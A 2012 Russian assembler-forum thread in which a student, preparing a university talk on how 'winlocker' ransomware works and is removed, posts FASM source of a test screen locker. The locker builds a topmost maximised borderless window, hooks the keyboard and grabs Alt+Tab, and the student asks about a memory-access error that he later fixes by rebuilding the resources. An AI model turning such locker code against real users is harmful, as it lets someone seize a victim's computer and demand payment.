Форум программистов
 
Контакты: о проблемах с регистрацией, почтой и по другим вопросам пишите сюда - alarforum@yandex.ru, проверяйте папку спам! Обязательно пройдите активизацию e-mail.

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler
Регистрация

Восстановить пароль
Повторная активизация e-mail

Ответ
 
Опции темы
Старый 11.11.2012, 18:26   #1
Berlioz
Изучающий C и ASM
Форумчанин
 
Регистрация: 25.05.2012
Адрес: Новосибирск
Сообщений: 89
Репутация: 10
По умолчанию ReadProcessMemory и WriteProcessMemory

Всех приветствую!

Небольшое введение: готовлюсь на конференцию в ВУЗ'е. Тема работы: "Winlocker. Принципы работы и обезвреживания"

Пишу сам вирь на FASM. Проблема следующая: на системах XP/2003 выскакивает сообщение: "запрос ReadProcessMemory или WriteProcessMemory был выполнен только частично"

На Windows 98SE все нормально работает.

Сам код:

Код:

format PE GUI 4.0
entry start

include '%include%\win32a.inc'
include 'rsrc.inc'

section '.data' readable writable

  hInst rd 4
  hIcon rd 4
  hHook rd 4
  hDesktop rd 4

  _message_text db 'Winlocker',0
  _message_caption db 'Test virus',0

section '.code' readable executable

start:
        invoke  GetModuleHandle,0
        mov     [hInst], eax
        invoke  LoadIcon, [hInst], S_ICON
        mov     [hIcon], eax
        invoke  DialogBoxParam,[hInst],IDD_DLG1,HWND_DESKTOP,DialogProc,0
        invoke  ExitProcess, 0
        
proc DialogProc hwnddlg,msg,wparam,lparam
        push    ebx esi edi
        cmp     [msg],WM_INITDIALOG
        je      .wminitdialog
        cmp     [msg],WM_COMMAND
        je      .wmcommand
        xor     eax,eax
        jmp     .finish
  .wminitdialog:
        invoke  SendMessage, [hwnddlg], WM_SETICON, ICON_BIG, [hIcon]
        invoke  GetCurrentThreadId
        invoke  SetWindowsHookEx,WH_KEYBOARD,MyHook,NULL,eax
        mov     [hHook], eax
        invoke  RegisterHotKey,NULL,108,MOD_ALT,VK_TAB
        invoke  GetWindowLong,[hwnddlg],GWL_STYLE
        and eax,not WS_CAPTION
        and eax,not WS_THICKFRAME
        invoke  SetWindowLong,[hwnddlg],GWL_STYLE,eax
        invoke  ShowWindow,[hwnddlg],SW_SHOWMAXIMIZED
        invoke  SetWindowPos,[hwnddlg],HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE ;ставим окно поверх всех
        jmp     .processed
  .wmcommand:
        ;buttons

        cmp    [wparam],BN_CLICKED shl 16 + IDC_BTN1
        je .hide

        cmp     [wparam],BN_CLICKED shl 16 + IDC_BTN2
        je .wmclose

        mov    eax,[wparam]
        and    eax,0FFFFh
        cmp    eax,IDM_EXIT
        je     .wmclose

        cmp    eax, IDM_ABOUT
        je     .message

  .hide:
        invoke  GetDesktopWindow
        invoke  EnableWindow, eax, TRUE

        jmp     .processed
  .message:
        invoke MessageBox, [hwnddlg], _message_text, _message_caption, 40h
        jmp .processed
  .wmclose:
        invoke  EndDialog,[hwnddlg],0
  .processed:
        mov     eax,1
  .finish:
        pop     edi esi ebx
        ret
endp

proc MyHook nCode,wParam,lParam ;перехват клавиатуры
     cmp [nCode], 0
     jge .hook_start
     invoke CallNextHookEx,WH_KEYBOARD,[nCode],[wParam],[lParam] ;по стандарту Windows

.hook_start:

     cmp [wParam], 8h
     jne .hook_finish
     cmp [wParam], 31h
     jng .hook_finish
     cmp [wParam], 3Ah
     jb .hook_finish

     invoke CallNextHookEx,WH_KEYBOARD,[nCode],[wParam],[lParam]

.hook_finish:
     mov eax, 1
     ret
endp

section '.idata' import data readable

library kernel, 'kernel32.dll',\
                user, 'user32.dll'
import kernel,\
                GetModuleHandle,'GetModuleHandleA',\
                ExitProcess, 'ExitProcess',\
                GetCurrentThreadId, 'GetCurrentThreadId'
import user,\
                DialogBoxParam,'DialogBoxParamA',\
                MessageBox,'MessageBoxA',\
                EndDialog,'EndDialog',\
                LoadIcon,'LoadIconA',\
                SendMessage, 'SendMessageA',\
                GetDesktopWindow, 'GetDesktopWindow',\
                EnableWindow, 'EnableWindow',\
                CallNextHookEx, 'CallNextHookEx',\
                SetWindowsHookEx, 'SetWindowsHookExA',\
                RegisterHotKey, 'RegisterHotKey',\
                ShowWindow, 'ShowWindow',\
                GetWindowLong, 'GetWindowLongA',\
                SetWindowLong, 'SetWindowLongA',\
                SetWindowPos, 'SetWindowPos'

section '.rsrc' resource from 'resource2.res'

В чем может быть дело? Траблы только с данным кодом
Berlioz вне форума   Ответить с цитированием
Старый 12.11.2012, 17:42   #2
Berlioz
Изучающий C и ASM
Форумчанин
 
Регистрация: 25.05.2012
Адрес: Новосибирск
Сообщений: 89
Репутация: 10
По умолчанию

Вместо файла *.res обработал rc файл программой dlg2fasm и скормил компилятору. Все стало нормально работать.

Есть предположения, что это было?
Berlioz вне форума   Ответить с цитированием
Ответ

Опции темы

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ReadProcessMemory работает?? NEoMASTERR Win Api 1 03.12.2011 00:51
ReadProcessMemory, меняющийся lpBaseAdress Lime Общие вопросы Delphi 23 17.08.2011 16:35
ReadProcessMemory+TMemoryStream Bad-XxX Общие вопросы Delphi 2 10.10.2010 20:11
Использование WriteProcessMemory Ra88 Помощь студентам 0 31.01.2010 09:56
Аналог функции WriteProcessMemory KleoY Win Api 10 31.03.2009 01:17


15:52.


Powered by vBulletin® Version 3.8.8 Beta 2
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd.

RusProfile.ru


Справочник российских юридических лиц и организаций.
Проекты отопления, пеллетные котлы, бойлеры, радиаторы
интернет магазин respective.ru